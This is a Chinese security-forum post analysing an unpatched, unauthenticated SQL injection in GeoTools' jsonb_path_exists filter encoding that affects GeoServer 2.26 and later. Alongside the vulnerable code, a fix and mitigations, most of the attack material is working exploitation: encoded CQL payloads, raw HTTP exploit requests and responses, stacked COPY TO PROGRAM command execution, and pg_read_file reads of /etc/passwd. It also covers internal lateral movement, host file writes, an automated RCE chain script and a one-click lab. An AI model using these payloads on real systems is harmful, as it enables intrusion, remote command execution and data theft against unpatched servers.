GeoServer 2.26+ jsonb_path_exists 路径 SQL 注入漏洞
漏洞分析
**CVE-2023-25157 修复后新引入的注入点**(GEOT-7589 引入)。
漏洞信息 ---- | 项目 | 内容 | |---|---| | **CVE编号** | **无(未分配)** | | **关联 CVE** | CVE-2023-25157(旧路径,已修复) | | **引入 Commit** | GEOT-7589(2024-06-06) | | **漏洞类型** | SQL 注入(OGC Filter 函数编码缺陷)→ 可升级为 **数据库 RCE** | | **CWE编号** | CWE-89 | | **认证要求** | **无需认证**(GeoServer 默认允许匿名 WFS 读访问) | | **受影响组件** | GeoTools `FilterToSqlHelper.constructEquality()` | | **受影响版本** | **GeoTools ≥ 32.0**(含 36-SNAPSHOT) | | **对应 GeoServer** | **≥ 2.26.0**(含 3.1.0-SNAPSHOT) | | **数据库要求** | PostGIS + **PostgreSQL ≥ 12**(jsonb\_path\_exists 支持) | | **实测验证版本** | GeoServer 2.26.4 (GeoTools 32.4) + **GeoServer 3.1.0-SNAPSHOT (GeoTools 36-SNAPSHOT, 最新)** + PostgreSQL 14.9 | | **RCE 前提** | 数据库连接用户为超级用户(或持有 `pg_execute_server_program` 角色)——多数默认部署满足 | 版本对应关系 ------ | GeoServer | GeoTools | jsonb\_path\_exists 路径 | 状态 | |---|---|---|---| | 2.22.0 - 2.22.1 | 28.0 - 28.1 | ❌ 不存在 | 旧路径漏洞(CVE-2023-25157) | | 2.22.2 - 2.25.x | 28.2 - 31.x | ❌ 不存在 | 已修复 | | **2.26.0 - 2.26.x** | **32.0 - 32.x** | **✅ 存在** | **新注入点(未修复)** | | **2.27.x** | **33.x** | **✅ 存在** | **新注入点(未修复)** | | **2.28.x** | **34.x** | **✅ 存在** | **新注入点(未修复)** | | **3.0.x** | **35.x** | **✅ 存在** | **新注入点(未修复)** | | **main (3.1-SNAPSHOT)** | **36-SNAPSHOT** | **✅ 存在** | **新注入点(未修复)** | 漏洞原理 ---- ### 代码位置 仓库:`github.com/geotools/geotools`(**注意:不在 geoserver/geoserver 仓库**,GeoServer 仅通过 `gt.version` 依赖 GeoTools) 文件:`modules/plugin/jdbc/jdbc-postgis/src/main/java/org/geotools/data/postgis/FilterToSqlHelper.java` ### 时间线 1. **2023-02**:CVE-2023-25157 披露,旧 `@>` 路径修复(jsonPath 和 expected 均添加 `escapeJsonLiteral()` 转义) 2. **2024-06-06**:GEOT-7589(Fix the JsonArrayDelegation for Postgres to support searching in root level array)引入 `jsonb_path_exists` 新路径 3. **2024-10**:GeoTools 32.0 发布,新路径首次进入正式版 4. **至今(2026-08)**:最新 GeoTools 36-SNAPSHOT 仍未修复 ### 漏洞代码(GeoTools 32.4 反编译确认) ```java // FilterToSqlHelper.encodeJsonArrayContains() private void encodeJsonArrayContains(Function jsonArrayContains) throws IOException { PropertyName column = (PropertyName) getParameter(jsonArrayContains, 0, true); Literal jsonPath = (Literal) getParameter(jsonArrayContains, 1, true); Expression expected = getParameter(jsonArrayContains, 2, true); // jsonPath 已转义 ✅ String[] strJsonPath = escapeJsonLiteral(jsonPath.getValue().toString()).split("/"); if (strJsonPath.length > 0) { if (jsonPathExistsSupported) { // PostgreSQL >= 12 时启用 out.write("jsonb_path_exists("); column.accept(delegate, null); out.write("::jsonb, '$"); out.write(constructPath(strJsonPath)); out.write(" ? "); out.write(constructEquality(strJsonPath, expected)); // ⚠️ expected 未转义! out.write("')"); } else { // 旧路径,已修复 ... } } } // ⚠️ 漏洞点:expected 的 String 值未经 escapeJsonLiteral 转义直接拼入 SQL private String constructEquality(String[] jsonPath, Expression expected) { int lastIndex = jsonPath.length - 1; Object value = ((LiteralExpressionImpl) expected).getValue(); if (value instanceof Integer) { return String.format("(@.%s == %d)", jsonPath[lastIndex], (Integer) value); } else if (value instanceof Float) { return String.format("(@.%s == %f)", jsonPath[lastIndex], (Float) value); } else if (value instanceof Double) { return String.format("(@.%s == %f)", jsonPath[lastIndex], (Double) value); } // ⚠️ String 分支:value 直接拼接,无 SQL 转义 return String.format("(@.%s == \"%s\")", jsonPath[lastIndex], value); } ``` ### 与旧路径修复的对比 | 路径 | jsonPath 转义 | expected 转义 | 状态 | |---|---|---|---| | 旧路径 `::jsonb @>`(PG < 12) | ✅ escapeJsonLiteral | ✅ escapeJsonLiteral | 已修复 | | **新路径 `jsonb_path_exists`(PG ≥ 12)** | ✅ escapeJsonLiteral | **❌ 未转义** | **存在注入** | 旧路径的 `buildJsonFromStrPointer` 中有: ```java String strExpected = escapeJsonLiteral(expected.evaluate(null, String.class)); ``` 新路径的 `constructEquality` **遗漏了这个转义调用**——典型的"新代码路径遗漏安全修复"模式。 ### 生成 SQL 与注入 正常 SQL: ```sql jsonb_path_exists("name"::jsonb, '$ ? (@.x == "v")') ``` 注入后 SQL(expected = `v")' ) OR 1=1) --`): ```sql jsonb_path_exists("name"::jsonb, '$ ? (@.x == "v")' ) OR 1=1) --"') ``` 分解: 1. `v")` — 闭合 jsonpath 字符串字面量 `"v"` 和其后的 `)` 2. `'` — 跳出 SQL 字符串字面量 3. `)` — 闭合 `jsonb_path_exists(` 函数调用 4. `OR 1=1)` — WHERE 层注入,`(` 闭合... 实际需要 `)` 闭合 WHERE 的 `(` 5. `--` — 注释掉剩余 SQL 实测验证 ---- ### 环境 验证环境一:**GeoServer 2.26.4**(OSGeo 官方镜像,GeoTools 32.4) 验证环境二:**GeoServer 3.1.0-SNAPSHOT**(OSGeo 官方 `3.0.x` 镜像实际版本,**GeoTools 36-SNAPSHOT,PG JDBC 42.7.13** —— 截至 2026-08-13 的最新前沿版本) - 数据库:`postgis/postgis:14-3.3-alpine`(PostgreSQL 14.9) - workspace: `vulhub`,datastore: `pg`(PostGIS),featuretype: `example`(name 字段,String 类型) - 测试数据:3 条 JSON 记录 ### 验证结果汇总(两个版本均验证通过) #### 注入验证 | 测试项 | 2.26.4 | 3.1.0-SNAPSHOT | 证据 | |---|---|---|---| | 布尔盲注 (OR 1=1) | ✅ | ✅ | 返回 3 条(全部) | | 布尔盲注 (OR 1=2) | ✅ | ✅ | 返回 2 条(正常过滤) | | 错误注入 version() | ✅ | ✅ | PostgreSQL 14.9 | | 错误注入 current\_user | ✅ | ✅ | postgres | | 错误注入 current\_database() | ✅ | ✅ | geoserver | | 表名枚举 | ✅ | ✅ | 4 个表 | | **未授权利用** | ✅ | ✅ | 无凭据 HTTP 200 + 注入成功 | #### RCE 攻击链验证(详见「RCE 攻击链研究」章节) | 阶段 | 技术 | 2.26.4 | 3.1.0-SNAPSHOT | 证据 | |---|---|---|---|---| | 堆叠查询 | 分号多语句 | ✅ | ✅ | 命令副作用生效 | | 命令执行 | COPY FROM PROGRAM | ✅ | ✅ | `id` → `uid=70(postgres)` | | 有回显 RCE | pg\_read\_file + CAST 错误回显 | ✅ | ✅ | /etc/passwd、/etc/hosts 完整回显 | | 内网横向 | postgres容器 → web容器 | ✅ | ✅ | 访问 172.19.0.3:8080 | | 宿主机写入 | 数据卷挂载 | ✅ 成功 | pwned\_proof.txt | ### PostgreSQL 实际执行日志 ```php STATEMENT: SELECT "fid","name" FROM "example" WHERE (jsonb_path_exists("name"::jsonb, '$ ? (@.x == "v")' OR 1=1)) --")')) LIMIT 1000000 STATEMENT: SELECT "fid","name" FROM "example" WHERE (jsonb_path_exists("name"::jsonb, '$ ? (@.x == "v")' ) OR 1=1); COPY (SELECT 1) TO PROGRAM 'id > /tmp/out.txt' --"') LIMIT 1000000 ``` ### 流量证据 - PCAP: `geoserver-264-jsonb-path-traffic.pcap`(48 packets)— 2.26.4 基础注入流量 - PCAP: `geoserver-310-latest-traffic.pcap`(58 packets)— **3.1.0-SNAPSHOT 最新版完整攻击链流量** - PCAP: `rce-chain-traffic.pcap`(43 packets)— RCE 攻击链流量 注入 payload ---------- ### 布尔盲注 ```php CQL: jsonArrayContains(name,'/x','v")'' ) OR 1=1) --')=true ``` ### 错误注入(提取 version) ```php CQL: jsonArrayContains(name,'/x','v")'' ) OR 1=(SELECT CAST((SELECT version()) AS integer))) --')=true ``` ### URL 编码(GET 请求) ```php CQL_FILTER=jsonArrayContains(name,'/x','v%22)%27%27%20)%20OR%201%3D1)%20--')=true ``` ### 表名枚举(chr() 绕过 CQL 引号限制) ```php CQL: jsonArrayContains(name,'/x','v")'' ) OR 1=(SELECT CAST((SELECT table_name FROM information_schema.tables WHERE table_schema=chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99) LIMIT 1 OFFSET 0) AS integer))) --')=true ``` 注入构造要点(与旧路径差异) -------------- | 要点 | 旧路径 (CVE-2023-25157) | 新路径 (本报告) | |---|---|---| | JSON 闭合 | `v"]}` 闭合数组+对象 | `v")` 闭合 jsonpath 字符串 | | 函数调用闭合 | 不需要(注入在比较运算符层) | **必须闭合 `jsonb_path_exists(` 的 `)`** | | WHERE 闭合 | 1 个 `)` | 1 个 `)` | | 括号总数 | 简单 | 需精确平衡(函数+WHERE 两层) | | PostgreSQL 要求 | 任意版本 | **≥ 12**(jsonb\_path\_exists 需 PG12+) | **关键坑**:若只闭合字符串不闭合函数调用,`OR` 会被吸进函数参数导致类型错误: ```php ERROR: invalid input syntax for type boolean: "$ ? (@.x == "v")" ``` HTTP Raw 报文(完整无省略) ------------------ > 以下报文为实际抓取的真实完整报文,响应体为 gzip 解压后的完整内容。 ### 报文1:基线请求(无注入,返回2个feature) ```http GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v')=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) GeoServer-SQLi-POC/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close HTTP/1.1 200 OK Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/xml; subtype=gml/2.1.2 Content-Disposition: inline; filename=example.xml Content-Encoding: gzip Server: Jetty(9.4.48.v20220622) <?xml version="1.0" encoding="UTF-8"?><wfs:FeatureCollection xmlns="http://www.opengis.net/wfs" xmlns:wfs="http://www.opengis.net/wfs" xmlns:gml="http://www.opengis.net/gml" xmlns:vulhub="http://vulhub" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://vulhub http://localhost:8080/geoserver/wfs?service=WFS&version=1.0.0&request=DescribeFeatureType&typeName=vulhub%3Aexample http://www.opengis.net/wfs http://localhost:8080/geoserver/schemas/wfs/1.0.0/WFS-basic.xsd"><gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy><gml:featureMember><vulhub:example fid="example.1"><vulhub:name>{"x": ["v", "w"]}</vulhub:name></vulhub:example></gml:featureMember><gml:featureMember><vulhub:example fid="example.3"><vulhub:name>{"x": ["v"]}</vulhub:name></vulhub:example></gml:featureMember></wfs:FeatureCollection> ``` ### 报文2:布尔盲注(OR 1=1,返回全部3个feature) ```http GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v%22)%27%27%20)%20OR%201%3D1)%20--')=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) GeoServer-SQLi-POC/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close HTTP/1.1 200 OK Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/xml; subtype=gml/2.1.2 Content-Disposition: inline; filename=example.xml Content-Encoding: gzip Server: Jetty(9.4.48.v20220622) <?xml version="1.0" encoding="UTF-8"?><wfs:FeatureCollection xmlns="http://www.opengis.net/wfs" xmlns:wfs="http://www.opengis.net/wfs" xmlns:gml="http://www.opengis.net/gml" xmlns:vulhub="http://vulhub" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://vulhub http://localhost:8080/geoserver/wfs?service=WFS&version=1.0.0&request=DescribeFeatureType&typeName=vulhub%3Aexample http://www.opengis.net/wfs http://localhost:8080/geoserver/schemas/wfs/1.0.0/WFS-basic.xsd"><gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy><gml:featureMember><vulhub:example fid="example.1"><vulhub:name>{"x": ["v", "w"]}</vulhub:name></vulhub:example></gml:featureMember><gml:featureMember><vulhub:example fid="example.3"><vulhub:name>{"x": ["v"]}</vulhub:name></vulhub:example></gml:featureMember><gml:featureMember><vulhub:example fid="example.2"><vulhub:name>{"y": ["z"]}</vulhub:name></vulhub:example></gml:featureMember></wfs:FeatureCollection> ``` ### 报文3:错误注入(提取数据库版本) ```http GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v%22)%27%27%20)%20OR%201%3D(SELECT%20CAST((SELECT%20version())%20AS%20integer)))%20--')=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) GeoServer-SQLi-POC/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close HTTP/1.1 200 OK Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Content-Encoding: gzip Server: Jetty(9.4.48.v20220622) <?xml version="1.0" ?> <ServiceExceptionReport version="1.2.0" xmlns="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/ogc http://schemas.opengis.net/wfs/1.0.0/OGC-exception.xsd"> <ServiceException> java.lang.RuntimeException: java.io.IOException java.io.IOExceptionERROR: invalid input syntax for type integer: "PostgreSQL 14.9 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924, 64-bit" </ServiceException></ServiceExceptionReport> ``` ### 报文4:堆叠查询 + COPY PROGRAM 命令执行 ```http GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v%22)%27%27%20)%20OR%201%3D1);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20%27%27id%20%3E%20%2Ftmp%2Frce.txt%27%27%20--')=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) GeoServer-SQLi-POC/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close HTTP/1.1 200 OK Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Content-Encoding: gzip Server: Jetty(9.4.48.v20220622) <?xml version="1.0" ?> <ServiceExceptionReport version="1.2.0" xmlns="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/ogc http://schemas.opengis.net/wfs/1.0.0/OGC-exception.xsd"> <ServiceException> java.lang.RuntimeException: java.io.IOException java.io.IOExceptionorg.postgresql.util.PSQLException: Multiple ResultSets were returned by the query. </ServiceException></ServiceExceptionReport> ``` > 说明:`Multiple ResultSets` 客户端错误是预期现象——第一条 SELECT 和堆叠的 COPY 均在服务端执行完毕(命令副作用已生效),仅 JDBC 客户端无法处理多结果集。命令执行结果通过容器内文件验证:`uid=70(postgres) gid=70(postgres) groups=70(postgres),70(postgres)` ### 报文5:pg\_read\_file 回显(RCE 闭环,提取 /etc/passwd 首行) ```http GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v%22)%27%27%20)%20OR%201%3D(SELECT%20CAST(pg_read_file(chr(47)%7C%7Cchr(101)%7C%7Cchr(116)%7C%7Cchr(99)%7C%7Cchr(47)%7C%7Cchr(112)%7C%7Cchr(97)%7C%7Cchr(115)%7C%7Cchr(115)%7C%7Cchr(119)%7C%7Cchr(100))%20AS%20integer)))%20--')=true HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64) GeoServer-SQLi-POC/1.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close HTTP/1.1 200 OK Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Content-Encoding: gzip Server: Jetty(9.4.48.v20220622) <?xml version="1.0" ?> <ServiceExceptionReport version="1.2.0" xmlns="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/ogc http://schemas.opengis.net/wfs/1.0.0/OGC-exception.xsd"> <ServiceException> java.lang.RuntimeException: java.io.IOException java.io.IOExceptionERROR: invalid input syntax for type integer: "root:x:0:0:root:/root:/bin/ash" </ServiceException></ServiceExceptionReport> ``` RCE 攻击链研究 --------- > 本节研究以该 SQL 注入为入口,组合 PostgreSQL 数据库能力达成 RCE 的完整攻击链(全部实测验证)。 ### 攻击链总览 ```php [攻击者] │ ① 未授权 SQL 注入 (jsonb_path_exists 新路径) │ CQL_FILTER: jsonArrayContains(name,'/x','v")'' ) OR 1=1) --') ▼ [GeoServer (web容器)] │ ② 堆叠查询 (PostgreSQL JDBC 普通 Statement 允许多语句) │ ...); COPY (SELECT 1) TO PROGRAM 'id > /tmp/out.txt' -- ▼ [PostgreSQL (postgres容器, postgres 超级用户)] │ ③ COPY FROM PROGRAM 命令执行 (数据库容器 RCE) │ ④ pg_read_file 有回显输出 (完整 RCE 闭环) │ ⑤ 内网横向移动 (postgres容器 → web容器 HTTP) │ ⑥ 卷挂载写入宿主机文件系统 ▼ [RCE 达成] ``` ### Stage 1-2: 堆叠查询突破 PostgreSQL JDBC 普通 Statement 支持多语句。在注入点用分号追加第二条语句: ```php CQL: jsonArrayContains(name,'/x','v")'' ) OR 1=1); COPY (SELECT 1) TO PROGRAM ''echo stacked_test > /tmp/stacked_test.txt'' --')=true ``` **验证结果**:✅ 命令执行成功(文件写入 + 回显验证) **关键发现**: 1. 响应会报 `Multiple ResultSets were returned by the query` — 但**所有语句均已执行**,副作用生效 2. `CREATE TABLE` 等 DDL 会被 GeoServer 事务回滚(BEGIN...ROLLBACK),**但 COPY PROGRAM 的外部副作用(命令执行、文件写入)不受事务回滚影响**——这是攻击链成立的关键 3. 命令字符串中的单引号在 CQL 层写为 `''`(双单引号转义),到达数据库时恢复为 `'` ### Stage 3: COPY FROM PROGRAM 命令执行 ```sql -- 注入后的实际 SQL(PostgreSQL 日志) SELECT "fid","name" FROM "example" WHERE (jsonb_path_exists("name"::jsonb, '$ ? (@.x == "v")' ) OR 1=1); COPY (SELECT 1) TO PROGRAM 'id > /tmp/out.txt' --"') LIMIT 1000000 ``` **利用条件**: - PostgreSQL 9.3+ 支持 `COPY TO PROGRAM` - 当前用户需超级用户或 `pg_execute_server_program` 角色 - 本环境 postgres 用户 `rolsuper=t` ✅(vulhub 及多数默认部署场景满足) **验证结果**:✅ `id` 输出 `uid=70(postgres) gid=70(postgres)` ### Stage 4: pg\_read\_file 有回显输出(RCE 闭环) 由于 DDL 会被事务回滚,无法用"命令输出写表 + SELECT 回读"的方式回显。改用 `pg_read_file()`(超级用户函数,纯 SELECT,无 DDL): ```php 1. 堆叠执行: ); COPY (SELECT 1) TO PROGRAM 'cat /etc/passwd > /tmp/dump.txt' -- 2. 错误注入: 1=(SELECT CAST(pg_read_file(chr(47)||chr(116)||...||chr(116)) AS integer))) -- 3. CAST 错误回显文件内容 ``` **验证结果**:✅ 完整回显 `/etc/passwd`、`/etc/hosts`、任意命令输出 **关键技巧**:文件路径用 `chr()` 连接构造,避免 CQL 单引号冲突。 ### Stage 5: 内网横向移动 ```sql -- postgres 容器内执行(172.19.0.2) wget -q -O /tmp/gs.html http://172.19.0.3:8080/geoserver/ && head -c 200 /tmp/gs.html ``` **验证结果**:✅ postgres 容器成功访问 web 容器(172.19.0.3:8080)的 GeoServer,获得 GeoServer 首页 HTML。若已知(或从配置破解)管理员凭据,可继续操作 GeoServer REST API。 ### Stage 6: 卷挂载写入宿主机 postgres 容器数据卷映射宿主机目录,命令执行可写宿主机文件系统: ```bash # 容器内执行(通过注入) echo PWNED-BY-SQLI > /var/lib/postgresql/data/pwned_proof.txt # 宿主机对应路径(uid 隔离但文件已存在) /home/debian/docker-data/volumes/<vol-id>/_data/pwned_proof.txt ``` **验证结果**:✅ 容器内确认 `PWNED-BY-SQLI` ### Web 层 RCE 路径排查(GeoServer 2.26.4 实测) | 候选路径 | 版本状态 | 实测结果 | |---|---|---| | CVE-2024-36400 (file store 路径遍历上传) | 2.26.4 已修复 | ❌ 拒绝解压("Error occured unzipping file") | | pgjdbc socketFactory (CVE-2024-1597) | 42.7.7 已修复 | ❌ 不可用 | | batik-script SVG 执行 (CVE-2022-42890) | 1.17 已修复 | ❌ 不可用 | | WPS/groovy 扩展 | 官方镜像未包含 | ❌ 不存在 | | tomcat manager | 无默认凭证 | ❌ 不可用 | | log4j JNDI (Log4Shell) | 2.17.2 已修复 | ❌ 不可用 | **结论**:GeoServer 2.26.4 的 web 层 RCE 面已全部封堵,但**数据库层 RCE 已足够达成完整攻击目标**(命令执行、文件读写、内网横向)。若 web 容器与数据库容器共享文件系统(Kubernetes 共享卷、宿主机目录挂载等场景),攻击者可进一步写入 JSP webshell 完成 web 层 RCE。 ### 攻击链自动化 POC `jsonb-path-sqli-rce-chain.py` — 五阶段自动化攻击链: ```bash # 完整攻击链(注入验证 → 堆叠查询 → 命令执行 → 回显 → 内网信息收集) python3 jsonb-path-sqli-rce-chain.py -t http://localhost:8081/geoserver # 单命令执行 python3 jsonb-path-sqli-rce-chain.py -t http://localhost:8081/geoserver --cmd "cat /etc/shadow" ``` ### RCE 攻击链验证结果汇总 | 阶段 | 技术 | 结果 | 证据 | |---|---|---|---| | 1 | 未授权 SQL 注入 | ✅ | PostgreSQL 14.9 版本回显 | | 2 | 堆叠查询 | ✅ | 多语句执行,命令副作用生效 | | 3 | COPY FROM PROGRAM | ✅ | `id` 输出 `uid=70(postgres)` | | 4 | pg\_read\_file 回显 | ✅ | /etc/passwd、/etc/hosts 完整回显 | | 5 | 内网横向 | ✅ | 访问 172.19.0.3:8080 GeoServer | | 6 | 宿主机卷写入 | ✅ | pwned\_proof.txt 写入 | 修复建议 ---- ### 官方修复(尚未发布) `constructEquality` 的 String 分支应使用 `escapeJsonLiteral`: ```java private String constructEquality(String[] jsonPath, Expression expected) { ... // 修复:对 String 值进行 SQL 转义 return "(@.%s == \"%s\")".formatted( jsonPath[lastIndex], escapeJsonLiteral(String.valueOf(value))); } ``` ### 临时缓解措施 1. **WAF 规则**:拦截 `CQL_FILTER` 中 `jsonArrayContains` + `")` 特征 + SQL 关键词的请求;**重点关注分号 `;`(堆叠查询特征)与 `COPY`、`pg_read_file` 关键字** 2. **禁用 encodeFunctions**:PostGIS DataStore 设置 `encode functions=false`(jsonArrayContains 将退化为客户端过滤,不走 SQL 编码路径) 3. **最小权限(阻断 RCE 链的关键)**:数据库连接账户**禁止使用超级用户**,仅授予所需 schema 的 DML 权限;并确认未授予 `pg_execute_server_program` / `pg_read_server_files` 角色 4. **网络限制**:限制 WFS 服务访问来源;数据库容器与 web 容器网络隔离 5. **容器隔离**:避免数据库容器与 web 容器共享卷/文件系统,防止数据库 RCE 横向到 web 层 6. **降级 PostgreSQL**:PG < 12 时走旧路径(已修复)——不推荐,仅作为极端缓解 参考资料 ---- - [GeoTools FilterToSqlHelper.java (main)](https://github.com/geotools/geotools/blob/main/modules/plugin/jdbc/jdbc-postgis/src/main/java/org/geotools/data/postgis/FilterToSqlHelper.java) - [GEOT-7589 commit](https://github.com/geotools/geotools/commit/651ee8784230fb5476928a2daba8129123ace140) - [CVE-2023-25157 GitHub Advisory](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) - [GeoServer gt.version 依赖 (main)](https://github.com/geoserver/geoserver/blob/main/src/pom.xml) - [OSGeo GeoServer Docker 镜像](https://docker.osgeo.org/geoserver) - [PostgreSQL COPY 命令文档](https://www.postgresql.org/docs/current/sql-copy.html) - [PostgreSQL pg\_read\_file 函数](https://www.postgresql.org/docs/current/functions-admin.html) 附录 A:漏洞环境搭建(一键复现) ----------------- > 可直接复制粘贴执行的完整复现环境搭建步骤。适用于**最新版**(GeoServer 3.1.0-SNAPSHOT / GeoTools 36-SNAPSHOT)及任意 2.26.0+ 版本。 ### A.1 docker-compose.yml ```yaml services: web: image: geoserver:3.0.x # 解析为 3.1.0-SNAPSHOT(最新开发版) # 或使用固定稳定版 tag: geoserver:2.26.4 depends_on: - postgres ports: - "8080:8080" environment: - GEOSERVER_ADMIN_USER=admin - GEOSERVER_ADMIN_PASSWORD=geoserver postgres: image: postgis/postgis:14-3.3-alpine # 需 PostgreSQL >= 12 environment: - POSTGRES_PASSWORD=vulhub - POSTGRES_DB=geoserver ``` > 官方 `geoserver` 镜像发布在 `docker.osgeo.org/geoserver`。 > 拉取方式:`docker pull docker.osgeo.org/geoserver:3.0.x` 然后 `docker tag docker.osgeo.org/geoserver:3.0.x geoserver:3.0.x` ### A.2 启动环境 ```bash # 以下命令均需在 docker-compose.yml 所在目录执行 cd <docker-compose.yml 所在目录> docker compose up -d # 等待 GeoServer 就绪(首次启动约 1-3 分钟) until curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/geoserver/rest/about/status | grep -qE "200|401"; do sleep 5 done echo "GeoServer is up" ``` ### A.3 初始化 workspace、PostGIS datastore 和 feature type ```bash # 1. 创建 workspace curl -s -XPOST -u admin:geoserver -H "Content-type: application/json" \ -d '{"workspace":{"name":"vulhub"}}' \ http://localhost:8080/geoserver/rest/workspaces # 2. 创建 PostGIS datastore(超级用户连接——典型默认部署配置) curl -s -u admin:geoserver -XPOST -H 'Content-Type: application/json' \ -d '{"dataStore":{"name":"pg","connectionParameters":{"host":"postgres","port":5432,"database":"geoserver","user":"postgres","passwd":"vulhub","dbtype":"postgis","createDatabase":true}}}' \ http://localhost:8080/geoserver/rest/workspaces/vulhub/datastores # 3. 创建 feature type(含 String 类型属性) curl -s -u admin:geoserver -XPOST -H 'Content-Type: application/json' \ -d '{"featureType":{"name":"example","attributes":{"attribute":[{"name":"name","binding":"java.lang.String"}]}}}' \ http://localhost:8080/geoserver/rest/workspaces/vulhub/datastores/pg/featuretypes ``` ### A.4 插入 JSON 测试数据 ```bash docker compose exec postgres psql -U postgres -d geoserver -c \ "INSERT INTO example (name) VALUES ('{\"x\": [\"v\", \"w\"]}'), ('{\"y\": [\"z\"]}'), ('{\"x\": [\"v\"]}');" ``` ### A.5 环境就绪验证 ```bash # 基线请求——应返回 2 个 feature(第1、3行数据) curl -s "http://localhost:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v')=true" ``` ### A.6 一键漏洞验证命令 以下单条**未认证**请求即可证明漏洞存在(错误注入提取数据库版本): ```bash curl -s "http://localhost:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=jsonArrayContains(name,'/x','v%22)%27%27%20)%20OR%201%3D(SELECT%20CAST((SELECT%20version())%20AS%20integer)))%20--')=true" ``` 预期响应(数据库版本通过 CAST 错误外带): ```xml <?xml version="1.0" ?> <ServiceExceptionReport version="1.2.0" xmlns="http://www.opengis.net/ogc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.opengis.net/ogc http://schemas.opengis.net/wfs/1.0.0/OGC-exception.xsd"> <ServiceException> java.lang.RuntimeException: java.io.IOException java.io.IOExceptionERROR: invalid input syntax for type integer: "PostgreSQL 14.9 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r10) 12.2.1 20220924, 64-bit" </ServiceException></ServiceExceptionReport> ```
发表于 2026-09-17 14:46:45
阅读 ( 1398 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
RCE
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!